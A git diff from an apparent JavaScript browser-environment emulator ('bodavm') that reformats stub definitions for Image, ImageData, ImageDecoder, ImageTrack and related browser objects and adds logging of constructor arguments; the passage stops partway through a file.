} +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "longDesc", { + configurable: true, + enumerable: true, + get: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_get", arguments); + }, + set: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "border", { + configurable: true, + enumerable: true, + get: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_get", arguments); + }, + set: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "fetchPriority", { + configurable: true, + enumerable: true, + get: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_get", arguments); + }, + set: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "loading", { + configurable: true, + enumerable: true, + get: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_get", arguments); + }, + set: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ImageBitmap.js b/env_xbb_lastest_jsdom/env/ImageBitmap.js index a6d52afd..d9da852e 100644 --- a/env_xbb_lastest_jsdom/env/ImageBitmap.js +++ b/env_xbb_lastest_jsdom/env/ImageBitmap.js @@ -1,6 +1,41 @@ -// ImageBitmap对象 -bodavm.memory.globalobj['ImageBitmap'] = function ImageBitmap(){if (!(this instanceof ImageBitmap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageBitmap'], "ImageBitmap"); -bodavm.toolsFunc.defineProperty('ImageBitmap', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageBitmap', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageBitmap', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "close", arguments)}},'prototype'); +// ImageBitmap对象 + +bodavm.memory.globalobj['ImageBitmap'] = function ImageBitmap() { + console.log_copy('ImageBitmap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageBitmap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageBitmap'], "ImageBitmap"); +bodavm.toolsFunc.defineProperty('ImageBitmap', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageBitmap', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageBitmap', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "close", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ImageBitmapRenderingContext.js b/env_xbb_lastest_jsdom/env/ImageBitmapRenderingContext.js index d04c440f..463a19e8 100644 --- a/env_xbb_lastest_jsdom/env/ImageBitmapRenderingContext.js +++ b/env_xbb_lastest_jsdom/env/ImageBitmapRenderingContext.js @@ -1,5 +1,33 @@ -// ImageBitmapRenderingContext对象 -bodavm.memory.globalobj['ImageBitmapRenderingContext'] = function ImageBitmapRenderingContext(){if (!(this instanceof ImageBitmapRenderingContext)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageBitmapRenderingContext'], "ImageBitmapRenderingContext"); -bodavm.toolsFunc.defineProperty('ImageBitmapRenderingContext', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmapRenderingContext'].prototype, "ImageBitmapRenderingContext", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageBitmapRenderingContext', "transferFromImageBitmap", {configurable:true, enumerable:true, writable:true, value:function transferFromImageBitmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmapRenderingContext'].prototype, "ImageBitmapRenderingContext", "transferFromImageBitmap", arguments)}},'prototype'); +// ImageBitmapRenderingContext对象 + +bodavm.memory.globalobj['ImageBitmapRenderingContext'] = function ImageBitmapRenderingContext() { + console.log_copy('ImageBitmapRenderingContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageBitmapRenderingContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageBitmapRenderingContext'], "ImageBitmapRenderingContext"); +bodavm.toolsFunc.defineProperty('ImageBitmapRenderingContext', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmapRenderingContext'].prototype, "ImageBitmapRenderingContext", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageBitmapRenderingContext', "transferFromImageBitmap", { + configurable: true, + enumerable: true, + writable: true, + value: function transferFromImageBitmap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmapRenderingContext'].prototype, "ImageBitmapRenderingContext", "transferFromImageBitmap", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ImageCapture.js b/env_xbb_lastest_jsdom/env/ImageCapture.js index 0ce8cf2c..1e839630 100644 --- a/env_xbb_lastest_jsdom/env/ImageCapture.js +++ b/env_xbb_lastest_jsdom/env/ImageCapture.js @@ -1,8 +1,57 @@ -// ImageCapture对象 -bodavm.memory.globalobj['ImageCapture'] = function ImageCapture(){if (!(this instanceof ImageCapture)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageCapture': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageCapture'], "ImageCapture"); -bodavm.toolsFunc.defineProperty('ImageCapture', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageCapture', "getPhotoCapabilities", {configurable:true, enumerable:true, writable:true, value:function getPhotoCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "getPhotoCapabilities", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageCapture', "getPhotoSettings", {configurable:true, enumerable:true, writable:true, value:function getPhotoSettings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "getPhotoSettings", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageCapture', "grabFrame", {configurable:true, enumerable:true, writable:true, value:function grabFrame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "grabFrame", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageCapture', "takePhoto", {configurable:true, enumerable:true, writable:true, value:function takePhoto (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "takePhoto", arguments)}},'prototype'); +// ImageCapture对象 + +bodavm.memory.globalobj['ImageCapture'] = function ImageCapture() { + console.log_copy('ImageCapture 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageCapture)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageCapture': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageCapture'], "ImageCapture"); +bodavm.toolsFunc.defineProperty('ImageCapture', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageCapture', "getPhotoCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getPhotoCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "getPhotoCapabilities", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageCapture', "getPhotoSettings", { + configurable: true, + enumerable: true, + writable: true, + value: function getPhotoSettings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "getPhotoSettings", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageCapture', "grabFrame", { + configurable: true, + enumerable: true, + writable: true, + value: function grabFrame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "grabFrame", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageCapture', "takePhoto", { + configurable: true, + enumerable: true, + writable: true, + value: function takePhoto() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "takePhoto", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ImageData.js b/env_xbb_lastest_jsdom/env/ImageData.js index 6438d995..c8b9c561 100644 --- a/env_xbb_lastest_jsdom/env/ImageData.js +++ b/env_xbb_lastest_jsdom/env/ImageData.js @@ -1,7 +1,49 @@ -// ImageData对象 -bodavm.memory.globalobj['ImageData'] = function ImageData(){if (!(this instanceof ImageData)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageData': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageData'], "ImageData"); -bodavm.toolsFunc.defineProperty('ImageData', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageData', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageData', "colorSpace", {configurable:true, enumerable:true, get:function colorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "colorSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageData', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "data_get", arguments)}, set:undefined},'prototype'); +// ImageData对象 + +bodavm.memory.globalobj['ImageData'] = function ImageData() { + console.log_copy('ImageData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageData)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageData': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageData'], "ImageData"); +bodavm.toolsFunc.defineProperty('ImageData', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageData', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageData', "colorSpace", { + configurable: true, + enumerable: true, + get: function colorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "colorSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageData', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "data_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ImageDecoder.js b/env_xbb_lastest_jsdom/env/ImageDecoder.js index e4d4ea3b..c9668157 100644 --- a/env_xbb_lastest_jsdom/env/ImageDecoder.js +++ b/env_xbb_lastest_jsdom/env/ImageDecoder.js @@ -1,11 +1,81 @@ -// ImageDecoder对象 -bodavm.memory.globalobj['ImageDecoder'] = function ImageDecoder(){if (!(this instanceof ImageDecoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageDecoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageDecoder'], "ImageDecoder"); -bodavm.toolsFunc.defineProperty('ImageDecoder', "isTypeSupported", {configurable:true, enumerable:true, writable:true, value:function isTypeSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].undefined, "ImageDecoder", "isTypeSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('ImageDecoder', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "complete", {configurable:true, enumerable:true, get:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "complete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "completed", {configurable:true, enumerable:true, get:function completed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "completed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "tracks", {configurable:true, enumerable:true, get:function tracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "tracks_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "reset", arguments)}},'prototype'); +// ImageDecoder对象 + +bodavm.memory.globalobj['ImageDecoder'] = function ImageDecoder() { + console.log_copy('ImageDecoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageDecoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageDecoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageDecoder'], "ImageDecoder"); +bodavm.toolsFunc.defineProperty('ImageDecoder', "isTypeSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isTypeSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].undefined, "ImageDecoder", "isTypeSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('ImageDecoder', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "complete", { + configurable: true, + enumerable: true, + get: function complete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "complete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "completed", { + configurable: true, + enumerable: true, + get: function completed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "completed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "tracks", { + configurable: true, + enumerable: true, + get: function tracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "tracks_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "reset", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ImageTrack.js b/env_xbb_lastest_jsdom/env/ImageTrack.js index ac1af000..fa064a4f 100644 --- a/env_xbb_lastest_jsdom/env/ImageTrack.js +++ b/env_xbb_lastest_jsdom/env/ImageTrack.js @@ -1,7 +1,51 @@ -// ImageTrack对象 -bodavm.memory.globalobj['ImageTrack'] = function ImageTrack(){if (!(this instanceof ImageTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageTrack'], "ImageTrack"); -bodavm.toolsFunc.defineProperty('ImageTrack', "frameCount", {configurable:true, enumerable:true, get:function frameCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "frameCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrack', "animated", {configurable:true, enumerable:true, get:function animated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "animated_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrack', "repetitionCount", {configurable:true, enumerable:true, get:function repetitionCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "repetitionCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrack', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "selected_set", arguments)}},'prototype'); +// ImageTrack对象 + +bodavm.memory.globalobj['ImageTrack'] = function ImageTrack() { + console.log_copy('ImageTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageTrack'], "ImageTrack"); +bodavm.toolsFunc.defineProperty('ImageTrack', "frameCount", { + configurable: true, + enumerable: true, + get: function frameCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "frameCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrack', "animated", { + configurable: true, + enumerable: true, + get: function animated() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "animated_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrack', "repetitionCount", { + configurable: true, + enumerable: true, + get: function repetitionCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "repetitionCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrack', "selected", { + configurable: true, + enumerable: true, + get: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "selected_get", arguments); + }, + set: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "selected_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ImageTrackList.js b/env_xbb_lastest_jsdom/env/ImageTrackList.js index c02fbfef..5108b6eb 100644 --- a/env_xbb_lastest_jsdom/env/ImageTrackList.js +++ b/env_xbb_lastest_jsdom/env/ImageTrackList.js @@ -1,7 +1,49 @@ -// ImageTrackList对象 -bodavm.memory.globalobj['ImageTrackList'] = function ImageTrackList(){if (!(this instanceof ImageTrackList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageTrackList'], "ImageTrackList"); -bodavm.toolsFunc.defineProperty('ImageTrackList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrackList', "selectedIndex", {configurable:true, enumerable:true, get:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "selectedIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrackList', "selectedTrack", {configurable:true, enumerable:true, get:function selectedTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "selectedTrack_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrackList', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "ready_get", arguments)}, set:undefined},'prototype'); +// ImageTrackList对象 + +bodavm.memory.globalobj['ImageTrackList'] = function ImageTrackList() { + console.log_copy('ImageTrackList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageTrackList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageTrackList'], "ImageTrackList"); +bodavm.toolsFunc.defineProperty('ImageTrackList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrackList', "selectedIndex", { + configurable: true, + enumerable: true, + get: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "selectedIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrackList', "selectedTrack", { + configurable: true, + enumerable: true, + get: function selectedTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "selectedTrack_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrackList', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Ink.js b/env_xbb_lastest_jsdom/env/Ink.js index e5143b85..a9145c16 100644 --- a/env_xbb_lastest_jsdom/env/Ink.js +++ b/env_xbb_lastest_jsdom/env/Ink.js @@ -1,4 +1,25 @@ -// Ink对象 -bodavm.memory.globalobj['Ink'] = function Ink(){if (!(this instanceof Ink)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Ink'], "Ink"); -bodavm.toolsFunc.defineProperty('Ink', "requestPresenter", {configurable:true, enumerable:true, writable:true, value:function requestPresenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Ink'].prototype, "Ink", "requestPresenter", arguments)}},'prototype'); +// Ink对象 + +bodavm.memory.globalobj['Ink'] = function Ink() { + console.log_copy('Ink 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Ink)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Ink'], "Ink"); +bodavm.toolsFunc.defineProperty('Ink', "requestPresenter", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPresenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Ink'].prototype, "Ink", "requestPresenter", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/InputDeviceCapabilities.js b/env_xbb_lastest_jsdom/env/InputDeviceCapabilities.js index 2cf1ed25..3cceebb5 100644 --- a/env_xbb_lastest_jsdom/env/InputDeviceCapabilities.js +++ b/env_xbb_lastest_jsdom/env/InputDeviceCapabilities.js @@ -1,4 +1,22 @@ -// InputDeviceCapabilities对象 -bodavm.memory.globalobj['InputDeviceCapabilities'] = function InputDeviceCapabilities(){this._boarg= new bodaobj.window.InputDeviceCapabilities();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputDeviceCapabilities'], "InputDeviceCapabilities"); -bodavm.toolsFunc.defineProperty('InputDeviceCapabilities', "firesTouchEvents", {configurable:true, enumerable:true, get:function firesTouchEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputDeviceCapabilities'].prototype, 